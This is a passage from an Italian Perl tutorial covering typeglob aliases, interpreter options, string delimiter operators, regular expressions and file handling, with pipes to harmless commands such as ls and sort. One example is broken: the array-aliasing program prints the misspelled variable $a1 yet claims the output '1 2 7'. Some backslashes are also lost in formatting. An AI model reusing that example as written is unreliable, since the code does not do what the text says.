*mia = \$tua;
*mia = *tua;
```

I due assegnamenti sono identici, perché in entrambi i casi si assegna a '***mia**' il riferimento alla variabile scalare '**$tua**'. Il risultato di questo è che si può usare la variabile scalare '**$mia**' come alias di '**$tua**'. L'esempio seguente dovrebbe chiarire meglio la cosa.

```
#!/usr/bin/perl
$tua = "ciao";
*mia = \$tua;
print "$mia\n";
```

Quello che si ottiene è l'emissione della stringa '**ciao**', cioè il contenuto della variabile '**$tua**', ottenuto attraverso l'alias '**$mia**'.

Attraverso gli alias è possibile gestire agevolmente il passaggio di parametri per riferimento nelle chiamate delle funzioni. Si osservi l'esempio seguente, in cui una funzione altera il contenuto di un array, senza che questo debba essere dichiarato come variabile globale.

```
#!/usr/bin/perl
sub alterazione_array
{
  local (*a) = $_[0];
  $a[0] = 1;
  $a[1] = 2;
}

local ($b) = ();

$b[0] = 9;
$b[1] = 8;
$b[2] = 7;

&alterazione_array (\@b);

print STDOUT $a1[0] . " " . $a1[1] . " " . $a1[2] . "\n";
```

Eseguendo questo programmino molto semplice, si ottiene la stringa seguente:

```
1 2 7
```

Questo serve a dimostrare che i primi due elementi dell'array sono stati modificati dalla funzione.

27.11 Avvio di Perl

Normalmente è sufficiente rendere eseguibile uno script Perl per fare in modo che il programma '/usr/bin/perl' venga eseguito automaticamente per la sua interpretazione. Il programma '/usr/bin/perl' permette di utilizzare alcune opzioni, principalmente utili per individuare errori sintattici e problemi di altro tipo.

Opzione	Descrizione
-c	Analizza sintatticamente lo script e termina senza eseguirlo.
-w	Viene usato assieme a '**-c**' e permette di avere informazioni più dettagliate su problemi eventuali che non sono necessariamente considerabili come errori sintattici.
-d	Esegue lo script all'interno di un sistema diagnostico di *debug*.

Segue la descrizione di alcuni esempi.

- $ **perl mio.pl** [*Invio*]

  Avvia il programma Perl '**mio.pl**'. Generalmente si avvia direttamente lo script, ma se questo non è stato reso eseguibile attraverso i permessi, si può ovviare in questo modo.

- $ **perl -c mio.pl** [*Invio*]

  Analizza lo script '**mio.pl**' senza eseguirlo. Se tutto va bene si ottiene l'output seguente:

```
mio.pl syntax OK
```

- `$ perl -c -w mio.pl` [*Invio*]

  Come nell'esempio precedente, con l'aggiunta dell'opzione '**-w**', con la quale si ottengono maggiori indicazioni e suggerimenti per migliorare il programma.

- `$ perl -d mio.pl` [*Invio*]

  Avvia il sistema diagnostico per il programma '**mio.pl**'.

27.12 Operatori di delimitazione di stringhe

Nella sezione dedicata agli operatori e alle espressioni rimangono in sospeso gli operatori di delimitazione di stringhe. Nei linguaggi di programmazione tradizionale esiste normalmente il problema di delimitare le stringhe, ovvero le costanti alfanumeriche. Sono già stati mostrati due tipi di delimitatori, gli apici doppi e singoli che hanno un comportamento simile a quello delle shell comuni. In realtà Perl ha una gestione molto più raffinata e generalizzata delle stringhe. Quando il tipo di delimitazione, ovvero il tipo di stringa, lo consente, sono validi alcuni codici di escape. La tabella 27.87 mostra l'elenco di queste sequenze di escape utilizzabili nelle stringhe.

Tabella 27.87. Elenco delle sequenze di escape utilizzabili nelle stringhe delimitate con gli apici doppi.

Escape	Corrispondenza
`\\`	'****'
`\"`	'**"**'
`\$`	'**$**'
`\@`	'**@**'
`\'`	'**'**'
`\t`	*<HT>*
`\n`	*<LF>*
`\r`	*<CR>*
`\f`	*<FF>*
`\a`	*<BEL>*
`\e`	*<ESC>*
`\0`***nnn***	Carattere a 8 bit, corrispondente al numero ottale rappresentato da ***nnn***.
`\x`***hh***	Carattere a 8 bit, corrispondente al numero esadecimale rappresentato da due cifre: ***hh***.

Escape	Corrispondenza
`\x{`***h***`}`	Carattere esteso (UTF-8) corrispondente al punto di codifica indicato in esadecimale, composto da un numero qualunque di cifre.
`\[`	Carattere di controllo.
`\l`	Il carattere successivo in minuscolo.
`\u`	Il carattere successivo in maiuscolo.
`\L`	Minuscolo fino al codice '**`\E`**'.
`\U`	Maiuscolo fino al codice '**`\E`**'.
`\E`	Conclusione di un modificatore.
`\Q`	Evita l'interpretazione come espressione regolare fino al codice '**`\E`**'.

La delimitazione dei vari tipi di stringa avviene in una forma tradizionale, attraverso delimitatori che esprimono di per sé il tipo di stringa, oppure attraverso una forma che consente di cambiare tipo di delimitatore:

x delim_sinistro stringa delim_destro eventuali_opzioni

La sigla che appare inizialmente, ***x*** in questo caso, definisce il tipo di stringa; il delimitatore sinistro e quello destro possono essere parentesi aperte e chiuse di qualunque tipo: tonde, quadre, graffe e angolari, ma si possono utilizzare anche altri simboli, solo che in tal caso, il delimitatore sinistro e quello destro sono uguali.

La tabella 27.109, alla fine di questo gruppo di sezioni, riassume i vari tipi di operatori di delimitazione delle stringhe.

27.12.1 Stringa letterale non interpolata: «q//» o «' '»

La stringa letterale non interpolata è stringa racchiusa normalmente tra apici singoli (è già stata descritta in precedenza). In particolare, restituisce la stringa racchiusa senza effettuare l'interpolazione delle eventuali variabili e dei simboli di escape che dovesse incorporare, a eccezione di '`\'`' e '`\\`'. Si può esprimere in due modi:

`'`***stringa***`'`

`q`***delim_sinistro stringa delim_destro***

Seguono alcuni esempi:

```
$miavar = 'Stringa tradizionale che non interpola';
```

```
$miavar = q|Una stringa che "contiene 'apici' di ogni tipo".|;
```

```
$miavar = q(Sembra una funzione, ma non lo è);
```

```
$miavar = q{Le variabili non vengono interpolate. $ciao};
```

27.12.2 Stringa letterale interpolata: «qq//» o «" "»

La stringa letterale interpolata è racchiusa normalmente tra apici doppi (è già stata descritta in precedenza). In particolare, restituisce la stringa racchiusa interpolando le variabili e i simboli di escape che dovesse incorporare. Si può esprimere in due modi:

"*stringa*"

qq*delim_sinistro* *stringa* *delim_destro*

Seguono alcuni esempi:

```
$miavar = "Stringa tradizionale che interpola";
```

```
$miavar = qq|Una stringa che \"contiene 'apici' di ogni tipo\".|;
```

```
$miavar = qq(Sembra una funzione, ma non lo è);
```

```
$ciao = "Saluti!";
$miavar = qq{Le variabili vengono interpolate. $ciao};
```

27.12.3 Comando di sistema: «qx//» o «` `»

La stringa che rappresenta un comando di sistema deve essere valutata e successivamente eseguita in qualità di comando dal sistema operativo. Questo tipo di stringa è racchiuso normalmente tra apici singoli inversi, come avviene nelle shell comuni. Il contenuto della stringa viene interpolato prima dell'esecuzione del comando. La valutazione della stringa si traduce nell'output emesso attraverso lo standard output dal comando stesso. Si può esprimere in due modi:

`` `*stringa*` ``

qx*delim_sinistro* *stringa* *delim_destro*

Seguono alcuni esempi:

```
$miadata = `date`;
```

```
$mioelenco = qx(ls);
```

```
$opzioni = '-l'
$mioelenco = qx{ls $opzioni};
```

27.12.4 Lista di parole: «qw//»

La stringa racchiusa in questo tipo di delimitazione, non viene interpolata, ma semplicemente restituita in forma di ***lista di parole***. In pratica, tutto ciò che risulta separato da spazi (spazi veri e propri, caratteri di tabulazione e codici di interruzione di riga) viene estratto e inserito in una lista di elementi. Si può esprimere solo nel modo seguente:

qw***delim_sinistro stringa delim_destro***

Seguono alcuni esempi validi:

```
@mialista = qw/ciao come stai/;
```

```
@mialista = qw(uno       due      tre);
```

```
@mialista = qw(alfa      bravo    charlie
delta     echo     foxtrot golf     hotel
india     kilo     lima);
```

27.12.5 Modello di confronto: «m//» o «//»

Il modello di confronto non restituisce alcunché e serve per essere paragonato a un'altra stringa. Può essere usato in un contesto scalare o lista. Nel primo caso serve a determinare se esiste una corrispondenza con il modello o meno. Nel secondo caso, viene sempre paragonato a un'altra stringa, ma il risultato di questo abbinamento è una lista di elementi.

Il modello si esprime in forma di espressione regolare, con delle particolarità che derivano dal tipo di delimitatori utilizzati e dal fatto che prima di valutare l'espressione regolare viene eseguita un'interpolazione. Si può esprimere in due modi.

/***stringa***/***opzioni***

m***delim_sinistro stringa delim_destro modificatori***

I modificatori si esprimono con una serie di lettere, o nulla se non è necessario. La tabella 27.102 ne riporta l'elenco.

Tabella 27.102. Elenco dei modificatori utilizzabili con l'operatore di delimitazione '**m**'.

Modificatore	Descrizione
`i`	Il confronto avviene ignorando la differenza tra maiuscole e minuscole.
`m`	Le stringhe vengono trattate come righe multiple (riguarda '**^**' e '**$**').
`s`	Tratta le stringhe come una riga singola (riguarda '**.**').
`x`	Permette l'inserzione di spazi e commenti che non vengono interpretati.
`g`	Confronta in modo globale, cioè trova tutte le occorrenze.
`o`	Interpreta il modello (e di conseguenza lo interpola) solo la prima volta.

L'utilizzo delle espressioni regolari nelle istruzioni Perl è ciò che generalmente rende il sorgente di un programma piuttosto confuso. Se si devono utilizzare intensivamente le espressioni regolari sarebbe opportuno approfondirne il funzionamento e l'utilizzo di questo tipo di delimitatori, per trovare un modo meno complicato del solito di scrivere queste espressioni. Il primo punto su cui si può intervenire è la scelta dei simboli di delimitazione. La forma tradizionale prevede l'uso della barra obliqua normale, cosa però che crea problemi quando si vuole utilizzare questo simbolo all'interno dell'espressione stessa. Infatti, i simboli usati come delimitazione non possono essere utilizzati nell'espressione regolare senza la tecnica della protezione per mezzo del prefisso '****'.

Segue la descrizione di alcuni esempi.

- ```
  #!/usr/bin/perl

  $miafrase = 'Ciao, come stai?';
  if ($miafrase =~ /ciao/i)
    {
      print "Ciao!\n";
    }
  ```
  In questo esempio, il modello '`/ciao/i`' combacia con una parte della frase, facendo sì che la condizione si avveri.

- ```
  #!/usr/bin/perl

  $mioelenco = `ls`;
  if ($mioelenco =~ /.*\.pl/)
    {
      print "Ci sono programmi Perl in questa directory.\n";
    }
  ```
  In questo esempio, viene letto il contenuto della directory corrente e posto nella variabile '**`$mioelenco`**'. Successivamente viene verificato se in quell'elenco si trova qualcosa che termina con '`.pl`'. Dal momento che il punto ha un significato nelle espressioni regolari, per poterlo includere si è posta anteriormente una barra obliqua inversa.

27.12.6 Modello di sostituzione: «s//»

Definisce un modello di confronto con una stringa, assieme a una stringa di sostituzione per la parte che corrisponde al modello. Se il confronto non viene fatto attraverso gli operatori '**=~**' oppure '**!~**', si intende che l'abbinamento avvenga con il contenuto della variabile '**$_**'. Ha luogo l'interpolazione.

L'abbinamento per la sostituzione può avvenire solo in un contesto scalare. Il modello si esprime in forma di espressione regolare. La sintassi può essere espressa in due modi, a seconda del tipo di delimitatori utilizzati.

```
s delim_sx stringa delim_dx delim_sx rimpiazzo delim_dx modificatori
```

```
s delim stringa delim rimpiazzo delim modificatori
```

Il primo tipo di sintassi si adatta al caso in cui si usino parentesi per delimitare le stringhe del modello e del rimpiazzo, il secondo tipo si riferisce all'uso di altri simboli che non sono utilizzati in coppia.

I modificatori si esprimono con una serie di lettere, o nulla se ciò non è necessario. La tabella 27.105 ne riporta l'elenco.

Tabella 27.105. Elenco dei modificatori utilizzabili con l'operatore di delimitazione '**s**'.

Modificatore	Descrizione
`i`	Il confronto avviene ignorando la differenza tra maiuscole e minuscole.
`m`	Le stringhe vengono trattate come righe multiple (riguarda '**^**' e '**$**').
`s`	Tratta le stringhe come una singola riga (riguarda '**.**').
`x`	Permette l'inserzione di spazi e commenti che non vengono interpretati.
`g`	Confronta in modo globale, cioè trova tutte le occorrenze.
`o`	Interpreta il modello (e di conseguenza lo interpola) solo la prima volta.
`e`	Valuta la parte destra come un'espressione.

Segue la descrizione di alcuni esempi.

- ```
  $path =~ s|/usr/bin|/usr/local/bin|
  ```
  Sostituisce la prima occorrenza di '`/usr/bin`' nella variabile '**$path**' con '`/usr/local/bin`'. Per delimitare il modello e la stringa di sostituzione sono state usate le barre verticali, per evitare ambiguità con le barre oblique delle directory.

- ```
  $path =~ s{/usr/bin}{/usr/local/bin}
  ```

Esattamente come nell'esempio precedente, ma questa volta sono state usate le parentesi graffe.

27.12.7 Sostituzione di caratteri: «tr//» o «y//»

La stringa racchiusa in questo tipo di delimitatore, definisce un modello di sostituzione di una serie di caratteri in un'altra. Si applica al contenuto di una variabile scalare utilizzando l'operatore '**`=~`**' oppure '**`!~`**', altrimenti si intende la variabile '**`$_`**'. Restituisce il numero di trasformazioni eseguite. Non ha luogo l'interpolazione.

L'abbinamento per la sostituzione può avvenire solo in un contesto scalare. Il modello si esprime in forma di espressione regolare. La sintassi può essere espressa nei modi seguenti, a seconda che si voglia utilizzare l'identificatore '**`tr`**' o '**`y`**' e a seconda del tipo di delimitatori utilizzati.

`tr`***delim_sx car_da_sost delim_dx delim_sx rimpiazzo delim_dx modificatori***

`tr`***delim car_da_sostituire delim rimpiazzo delim modificatori***

`y`***delim_sx car_da_sost delim_dx delim_sx rimpiazzo delim_dx modificatori***

`y`***delim car_da_sostituire delim rimpiazzo delim modificatori***

I modificatori si esprimono con una serie di lettere, o nulla se ciò non è necessario. La tabella 27.108 ne riporta l'elenco.

Tabella 27.108. Elenco dei modificatori utilizzabili con l'operatore di delimitazione '**`tr`**'.

Modificatore	Descrizione
`c`	Cerca gli elementi che **non** sono elencati nel gruppo da sostituire.
`d`	Cancella i caratteri trovati e non rimpiazzati.
`s`	Fonde insieme i caratteri doppi che sono stati ritrovati.

Tabella 27.109. Elenco riassuntivo dei tipi di operatori di stringa. Le parentesi graffe rappresentano la posizione dei delimitatori.

Formato normale	Formato generico	Significato	Interpolazione
`' '`	`q{}`	Stringa letterale.	NO
`" "`	`qq{}`	Stringa letterale.	SÌ
`` ` ` ``	`qx{}`	Comando di sistema.	SÌ
	`qw{}`	Lista di parole.	NO
`/ /`	`m{}`	Modello di confronto.	SÌ
	`s{}{}`	Modello di sostituzione.	SÌ
	`tr{}{}`	Traslazione di caratteri.	SÌ

Segue la descrizione di alcuni esempi:

- ```
  $miavar =~ tr/A-Z/a-z/;
  ```
  Converte in minuscolo il contenuto della variabile (a parte le vocali accentate).

- ```
  $contatore = ($miavar =~ tr/0-9//);
  ```
  Conta i caratteri numerici contenuti nella variabile '**`$miavar`**'.

27.13 Espressioni regolari

Le espressioni regolari possono essere considerate l'elemento più potente e più difficile di Perl. Purtroppo non esiste una definizione e uno standard universale delle espressioni regolari, così, per ogni applicazione che ne fa uso occorre studiarne le particolarità.

In questa sezione si descrive solo parte delle potenzialità di Perl con le espressioni regolari. Per conoscerne i dettagli è necessario consultare la pagina di manuale *perlre(1)*. Può essere conveniente anche la lettura delle sezioni 26.1 e 26.3.

27.13.1 Modificatori

Perl utilizza le espressioni regolari con gli operatori di stringa '**`m{}`**' e '**`s{}{}`**'. Con questi è possibile utilizzare delle opzioni finali, ovvero dei modificatori, che alterano le regole delle espressioni regolari. La tabella 27.112 mostra l'elenco dei modificatori più comuni.

Tabella 27.112. Elenco dei modificatori utilizzabili in generale in coda alle espressioni regolari di Perl.

Modificatore	Descrizione
`i`	Il confronto avviene ignorando la differenza tra maiuscole e minuscole.
`m`	Le stringhe vengono trattate come righe multiple (riguarda '`^`' e '`$`').
`s`	Tratta le stringhe come una riga singola (riguarda '`.`').
`x`	Permette l'inserzione di spazi e commenti che non vengono interpretati.

27.13.2 Metacaratteri

In generale, i caratteri utilizzati in un'espressione regolare, che non abbiano un significato speciale, corrispondono a loro stessi nella stringa di comparazione. Ciò è come dire che la comparazione seguente è valida:

```
'Ciao' =~ /Ciao/
```

I ***metacaratteri*** di un'espressione regolare sono dei simboli che hanno un significato diverso rispetto ai caratteri utilizzati per rappresentarli. La tabella 27.114 mostra l'elenco dei metacaratteri più comuni.

Tabella 27.114. Elenco dei metacaratteri standard utilizzati in Perl.

Metacarattere	Descrizione
`\`	Protegge il carattere successivo da un'interpretazione diversa da quella letterale.
`^`	Corrisponde all'inizio di una riga.
`.`	Corrisponde a un carattere qualunque.
`$`	Corrisponde alla fine di una riga.
`|`	Indica due possibilità alternative alla sua sinistra e alla sua destra.
`( )`	Definiscono un raggruppamento.
`[ ]`	Definiscono una classe di caratteri.

La barra obliqua inversa protegge il carattere successivo da un'interpretazione diversa da quella letterale, quando la sequenza '***x***' (***x*** rappresenta qui un carattere qualunque) non rappresenta già un metacarattere. In pratica, se '***x***' non ha un significato particolare, rappresenta semplicemente '***x***' in modo letterale.

L'accento circonflesso ('`^`') corrisponde generalmente all'inizio di una riga; nello stesso modo, il simbolo dollaro ('`$`') rappresenta la fine di una riga. Questi metacaratteri rappresentano in pratica la stringa nulla di inizio e di fine di una riga. Se la stringa da analizzare è composta

da più righe terminate dal codice di interruzione di riga, è possibile fare in modo che '**^**' e '**$**' corrispondano all'inizio e alla fine di queste righe virtuali utilizzando il modificatore '**m**'.

Il punto rappresenta un carattere singolo, con l'esclusione del codice di interruzione di riga a meno che sia stato utilizzato il modificatore '**s**'.

Perl aggiunge a quelli standard una serie di metacaratteri rappresentati dalla tabella 27.115; nella stessa tabella vengono anche elencate le classi di caratteri, argomento che viene descritto nella sezione successiva.

Tabella 27.115. Elenco dei metacaratteri speciali di Perl e delle classi POSIX disponibili.

Metacarattere	Compatibilità POSIX	Corrispondenza
`\w`	`[[:word:]]`	Un carattere alfanumerico (lettere e numeri) compreso il trattino basso.
`\W`	`[^[:word:]]`	Un carattere non alfanumerico (l'opposto di '**\w**').
`\s`	`[[:space:]]`	Uno spazio lineare (spazio o tabulazione).
`\S`	`[^[:space:]]`	Qualunque carattere che non sia uno spazio lineare.
`\d`	`[[:digit:]]`	Un carattere numerico.
`\D`	`[^[:digit:]]`	Un carattere non numerico.
`\b`		La stringa nulla prima o dopo una sequenza di caratteri corrispondenti a '**\w**'.
`\B`		La stringa nulla interna a una sequenza di caratteri corrispondenti a '**\w**'.
`\A`		L'inizio di una stringa.
`\Z`		La fine di una stringa (eventualmente prima di un *new-line* finale).
	`[[:alpha:]]`	Un carattere alfabetico.
	`[[:alnum:]]`	Un carattere alfanumerico (non corrisponde esattamente a '**\w**').
	`[[:ascii:]]`	Un carattere ASCII.
	`[[:blank:]]`	Uno spazio lineare che comprende altri caratteri oltre a '**\s**'.
	`[[:cntrl:]]`	Un carattere di controllo, inteso come carattere che non ha una rappresentazione grafica.
	`[[:graph:]]`	Un carattere qualunque che abbia una rappresentazione grafica: alfabetico, numerico, di punteggiatura e qualunque altro simbolo.
	`[[:print:]]`	Un carattere qualunque che abbia una rappresentazione grafica: alfabetico, numerico, di punteggiatura e qualunque altro simbolo, compreso lo spazio.
	`[[:punct:]]`	Un carattere di punteggiatura.
	`[[:xdigit:]]`	Equivale a '**[0-9A-Fa-f]**', ovvero un carattere che si può usare per rappresentare un valore esadecimale.

Metacarattere	Compatibilità POSIX	Corrispondenza
	`[[:lower:]]`	Un carattere alfabetico minuscolo.
	`[[:upper:]]`	Un carattere alfabetico maiuscolo.

Inoltre, per complicare ulteriormente le cose, le espressioni regolari di Perl vengono trattate come se fossero racchiuse tra apici doppi, cioè vengono interpolate prima di essere valutate come espressioni regolari. Questo significa che le variabili vengono espanse e vengono riconosciuti anche altri simboli che in pratica potrebbero essere considerati come dei metacaratteri aggiuntivi. Si tratta di '**`\n`**', '**`\t`**' e altri come già indicato nella tabella 27.87 all'inizio del capitolo.

27.13.3 Classi di caratteri

Un modello racchiuso tra parentesi quadre rappresenta un solo carattere in base a quanto indicato nelle parentesi.

Una fila di caratteri racchiusa tra parentesi quadre corrisponde a un carattere qualunque tra quelli indicati; se all'inizio di questa fila c'è l'accento circonflesso, si ottiene una corrispondenza con un carattere qualunque diverso da quelli della fila. Per esempio, l'espressione regolare '**`[0123456789]`**' corrisponde a una cifra numerica qualunque, mentre '**`[^0123456789]`**' corrisponde a un carattere qualunque purché non sia una cifra numerica.

All'interno delle parentesi quadre, invece che indicare un insieme di caratteri, è possibile indicarne un intervallo mettendo il carattere iniziale e finale separati da un trattino ('**`-`**'). I caratteri che vengono rappresentati in questo modo dipendono dalla codifica che ne determina la sequenza. Per esempio, l'espressione regolare '**`[9-A]`**' rappresenta un carattere qualsiasi tra: '**`9`**', '**`:`**', '**`;`**', '**`<`**', '**`=`**', '**`>`**', '**`?`**', '**`@`**' e '**`A`**', perché così è la sequenza ASCII.

Questa definizione corrisponde in parte a quella di '**`grep`**' GNU, in particolare si deve tenere presente che all'interno delle parentesi quadre, '**`\b`**' corrisponde al carattere *<BS>*.

27.13.4 Qualificatori: operatori di ripetizione

Attraverso altri simboli è possibile indicare la ripetizione di un carattere determinato o di un raggruppamento. La tabella 27.116 mostra l'elenco di queste notazioni e il loro significato.

Tabella 27.116. Operatori di ripetizione, o qualificatori, nelle espressioni regolari di Perl.

Codifica	Corrispondenza
x`*`	Nessuna o più volte ***x***. Equivalente a '***x*****`{0,}`**'.
x`?`	Nessuna o al massimo una volta ***x***. Equivalente a '***x*****`{0,1}`**'.
x`+`	Una o più volte ***x***. Equivalente a '***x*****`{1,}`**'.
x`{`***n***`}`	Esattamente ***n*** volte ***x***.
x`{`***n***`,}`	Almeno ***n*** volte ***x***.

Codifica	Corrispondenza
x{*n*,*m*}	Da *n* a *m* volte *x*.
*x**?	Equivale al minimo di '*x**'.
x??	Equivale al minimo di '*x*?'.
x+?	Equivale al minimo di '*x*+'.
x{*n*}?	Equivale al minimo di '*x*{*n*}', ovvero allo stesso '*x*{*n*}'.
x{*n*,}?	Equivale al minimo di '*x*{*n*,}'.
x{*n*,*m*}?	Equivale al minimo di '*x*{*n*,*m*}'.

Dalla tabella si può osservare la presenza di qualificatori insoliti che terminano con un punto interrogativo. Un modello espresso in forma di espressione regolare può corrispondere a una stringa in diversi modi. Generalmente, la corrispondenza dei qualificatori avviene nel modo più ampio possibile. Se è necessario che la corrispondenza avvenga nel modo più ristretto possibile, occorre utilizzare i qualificatori che terminano con il punto interrogativo. Per esempio, di seguito si vedono alcune corrispondenze valide e le zone delle stringhe originali in cui i modelli combaciano.

```
"CIAO" =~ /\w+/
 ^--^

"Ciao, come stai?" =~ /\s/
      ^

"Ciao, come stai? Io sto bene." =~ /\s.*\s/
      ^------------------^

"Ciao, come stai? Io sto bene." =~ /\s.*?\s/
      ^-----^
```

27.13.5 Raggruppamenti

Una o più parti di un'espressione regolare possono essere raggruppate attraverso l'uso delle parentesi tonde. Ciò permette di abbinare tali raggruppamenti ai qualificatori (gli operatori di ripetizione), oppure permette di estrarre ciò che corrisponde al segmento racchiuso tra parentesi, o di potervi fare riferimento. Per esempio, l'espressione '**\s(come\s)+.*\s**' è valida per tutte le stringhe seguenti.

```
"Ciao, come stai? Io sto bene."
"Ciao, come come stai? Io sto bene."
"Ciao, come come come stai? Io sto bene."
...
```

All'interno della stessa espressione regolare è possibile fare riferimento a una corrispondenza parziale contenuta in un raggruppamento. Per farlo si utilizza il metacarattere '***n***', dove *n* è una sola cifra numerica. In pratica, '**\1**' corrisponde al primo raggruppamento, '**\2**' corrisponde al secondo, proseguendo così, di seguito, fino al nono.

Per esempio, '**`(0|0x0)\d*\s\1\d*`**' è valida per '**`0x0123 0x0456`**', ma non per '**`0x0123 0456`**'. Infatti, si fa riferimento alla corrispondenza, non al modello che potrebbe essere ripetuto agevolmente.

Perl permette di utilizzare queste corrispondenze anche al di fuori delle espressioni regolari. Per questo però non si può più utilizzare la notazione '***n***', ma occorre invece '**$*n***'. In pratica si tratta di variabili predefinite che vengono generate per l'occasione.

```
s/^(\w+)\s+(\w+)/$2 $1/
```

L'esempio appena mostrato inverte le prime due parole ed elimina gli spazi superflui tra le due. Un altro esempio interessante è il seguente, in cui si estrae la data da una stringa, per gestirla all'interno del programma:

```
if ($miadata =~ m|Data:\s+(\d\d)/(\d\d)/(\d{2,4})|)
  {
    $giorno = $1;
    $mese = $2;
    $anno = $3;
  }
```

Come si può vedere, i delimitatori dell'espressione regolare sono stati sostituiti con le barre verticali, in modo da poter utilizzare le barre oblique per l'espressione stessa senza troppi problemi.

27.14 Gestione generale dei file

Prima di poter accedere in qualunque modo a un file, occorre che questo sia stato aperto all'interno del programma, il quale, da quel punto in poi, vi fa riferimento attraverso il flusso di file.

Per una convenzione diffusa, i nomi attribuiti ai flussi di file sono sempre composti da lettere maiuscole, cosa che facilita il loro riconoscimento all'interno di un sorgente Perl.

Oltre ai file su disco, esistono tre file particolari: standard input, standard output e standard error. Questi risultano sempre già aperti e ai flussi di file corrispondenti si fa riferimento attraverso tre nomi predefiniti: '**`STDIN`**', '**`STDOUT`**' e '**`STDERR`**'.

In condizioni normali, i file si intendono contenere una codifica a 8 bit; mentre è possibile specificare esplicitamente che questi utilizzano la codifica UTF-8.

27.14.1 Apertura

Quando è necessario aprire un file, cioè quando non si tratta dei flussi di file predefiniti, si utilizza la funzione ***open()***.

```
open flusso, file
```

```
open flusso, modalità, file
```

La funzione utilizza quindi due o tre argomenti: il nome del flusso di file, il nome effettivo del file (che può contenere l'indicazione del percorso necessario a raggiungerlo) ed eventualmente la modalità di apertura. Nel primo caso, si intende che il file contiene, o deve contenere, una codifica a 8 bit, mentre nel secondo si può specificare in modo preciso la codifica.

L'esempio seguente apre il file '`mio_file`' che si trova nella directory corrente e gli abbina il flusso di file '**`MIO_FILE`**':

```
open MIO_FILE, 'mio_file';
```

Con l'apertura del file si deve definire anche in che modo si intende accedervi. Fondamentalmente si distingue tra lettura e scrittura, ma in realtà si presentano anche altre sfumature. Per poter informare la funzione del modo in cui si intende aprire il file, la stringa che viene utilizzata per indicare il nome del file su disco può contenere dei simboli aggiuntivi che servono proprio per questo, oppure si usa l'argomento ulteriore che si colloca prima del nome del file. In presenza di soli due argomenti, tali simboli vanno posti quasi sempre di fronte al nome e possono essere spaziati da questo in modo da facilitarne la lettura:

`open riferimento, "<file"` `open riferimento, "<:codifica", "file"`	se non si utilizza alcun simbolo, oppure se si pone '`<`', si ottiene l'apertura in lettura (input);
`open riferimento, ">file"` `open riferimento, ">:codifica", "file"`	se si utilizza il simbolo '`>`' si intende aprire il file in scrittura (output), troncando inizialmente il file;
`open riferimento, ">>file"` `open riferimento, ">>:codifica", "file"`	se si utilizza il simbolo '`>>`' si intende aprire il file in scrittura in aggiunta (*append*).

A questa simbologia si può aggiungere il segno '`+`' in modo da permettere anche l'altro tipo di accesso non dichiarato, per cui:

`open riferimento, "+<file"` `open riferimento, "+<:codifica", "file"`	rappresenta un accesso in lettura e scrittura;
`open riferimento, "+>file"` `open riferimento, "+>:codifica", "file"`	rappresenta un accesso in scrittura e lettura, ma la prima azione è quella di troncare il file annullando il suo contenuto precedente;
`open riferimento, "+>>file"` `open riferimento, "+>>:codifica", "file"`	rappresenta un accesso in aggiunta e lettura.

In generale, un file aperto in lettura e scrittura attraverso il simbolo '`+<`' permette anche l'allungamento del file stesso. Il pezzo di codice seguente mostra l'apertura di un file in aggiunta e l'inserimento al suo interno di una riga contenente una frase di saluto.

```
open MIO_FILE, ">> /home/tizio/mio_file";
...
print MIO_FILE "ciao a tutti\n";
```

L'esempio seguente è una variante in cui si dichiara espressamente l'utilizzo della codifica UTF-8 e si inseriscono alcune lettere greche, specificando i punti di codifica U+03B1, U+03B2, U+03B3:

```
open MIO_FILE, ">>:utf8", "/home/tizio/mio_file";
…
print MIO_FILE "alfa, beta, gamma: \x{03B1}, \x{03B2}, \x{03B3}\n";
```

Eventualmente, si può dichiarare che la codifica deve essere di un certo tipo, attraverso l'istruzione seguente:

```
use open ":codifica"
```

Nello stesso modo in cui si possono gestire i file su disco, si può accedere a un condotto, cioè una sequenza di programmi che ricevono dati dal loro standard input e ne emettono attraverso lo standard output. Per ottenere questo, al posto di indicare un file su disco si mette una riga di comando che si vuole sia eseguita, preceduta o terminata con la consueta barra verticale: se si trova all'inizio, significa che si vuole scrivere inviando dati attraverso lo standard input del condotto; se si trova alla fine, significa che si vuole leggere attingendo dati dallo standard output del condotto.

```
open MIAPIPE, "| sort > /home/tizio/mio_file";
```

L'esempio appena mostrato apre un condotto in scrittura. Ciò che viene ricevuto dal condotto viene ordinato e registrato nel file '`/home/tizio/mio_file`'.

```
open MIAPIPE, "ls -l |";
```

L'esempio precedente apre un condotto in lettura in modo da poter elaborare il risultato del comando '**`ls -l`**'.

In questi casi non si può dichiarare la codifica nell'istruzione '**`open`**', pertanto qui conviene usare l'istruzione '**`use open`**'. Ecco gli stessi esempi appena presentati, in cui si dichiara la scrittura e la lettura secondo la codifica UTF-8:

```
use open ":utf8";
open MIAPIPE, "| sort > /home/tizio/mio_file";
```

```
use open ":utf8";
open MIAPIPE, "ls -l |";
```

Naturalmente, occorre considerare che l'istruzione '**`use open`**' rimane valida per tutti i file che vengono aperti successivamente, fino a quando se ne appare un'altra che ne cambia la modifica.

27.14.2 Codifica di file già aperti

Dal momento che i flussi standard (standard input, standard output e standard error) risultano già aperti in modo predefinito, esiste la possibilità di dichiarare la codifica di file dopo che questi sono già stati aperti:

```
binmode flusso, ":codifica"
```

Per esempio, per dichiarare che tutti i flussi standard usano la codifica UTF-8, bastano le istruzioni seguenti:

```
binmode STDIN, ":utf8";
binmode STDOUT, ":utf8";
binmode STDERR, ":utf8";
```

27.14.3 Chiusura

Un file aperto che non serve più deve essere chiuso. Ciò si ottiene attraverso la funzione ***close()*** indicando semplicemente il flusso di file da chiudere.

```
close flusso
```

L'apertura di un file può essere fatta anche se questo risulta già aperto, per cui non è strettamente necessario chiudere un file prima di riaprirlo.

27.15 Condivisione dei file

In presenza di un sistema operativo in multiprogrammazione, tanto più se anche multiutente, si pone il problema della gestione degli accessi simultanei ai file. In pratica occorre gestire un sistema di blocchi, o di semafori, che impediscano le operazioni di scrittura simultanea da parte di processi indipendenti.

Infatti, la lettura simultanea di un file da parte di più programmi non ha alcun effetto collaterale, mentre la modifica simultanea può tradursi anche in un danneggiamento dei dati. Per questo, quando un file deve essere modificato, è importante che venga impedito ad altri programmi di fare altrettanto, almeno per il tempo necessario a concludere l'operazione.

27.15.1 Blocco dei file

Il modo più semplice per impedire che un file possa essere modificato da un altro processo, è quello di bloccarlo (*lock*), per il tempo necessario a compiere le operazioni che si vogliono fare in modo esclusivo.

